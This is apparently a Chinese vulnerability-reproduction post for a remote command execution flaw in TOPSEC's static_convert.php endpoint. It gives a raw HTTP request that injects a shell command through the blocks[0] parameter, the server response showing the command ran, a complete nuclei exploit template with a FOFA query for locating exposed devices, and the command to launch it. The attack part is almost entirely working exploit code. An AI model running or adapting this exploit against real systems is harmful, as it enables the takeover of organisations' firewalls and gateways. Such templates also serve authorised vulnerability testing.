【漏洞复现】天融信TOPSEC static_convert 远程命令执行漏洞

GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||%20%20echo%20'pstvamqlkzrgslfilwvf'%20>>%20/var/www/html/rrlmkkyopirhaviko.txt%0A HTTP/1.1Host: 192.168.40.130:8443User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

HTTP/1.1 200 OKX-Powered-By: PHP/7.2.5Content-Type: text/html; charset=UTF-8Date: Wed, 27 Dec 2023 03:20:53 GMTServer: lighttpd/1.4.49
ip -6 neigh del ||  echo 'pstvamqlkzrgslfilwvf' >> /var/www/html/rrlmkkyopirhaviko.txt0ip -6 neigh add ||  echo 'pstvamqlkzrgslfilwvf' >> /var/www/html/rrlmkkyopirhaviko.txt0

id: topsec-static_convert-rce
info:  name: 天融信TOPSEC static_convert 远程命令执行漏洞  author: fgz  severity: critical  description: 天融信TOPSEC解决方案包括综合管理系统，各类安全产品如防火墙、VPN、安全网关、宽带管理、入侵检测、内容过滤、个人安全套件以及综合安全审计系统等多种安全功能。该系统static_convert.php接口处存在RCE漏洞，会导致服务器失陷。  metadata:    max-request: 1    fofa-query: app="天融信-上网行为管理系统"    verified: truevariables:  file_name: "{{to_lower(rand_text_alpha(6))}}"  file_content: "{{to_lower(rand_text_alpha(15))}}"requests:  - raw:      - |+        GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||%20%20echo%20'{{file_content}}'%20>>%20/var/www/html/{{file_name}}.txt%0A HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
      - |        GET /{{file_name}}.txt HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
    matchers:      - type: dsl        dsl:          - "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, '{{file_content}}')"

nuclei.exe -t mypoc/天融信/topsec-static_convert-rce.yaml -u https://192.168.40.130:8443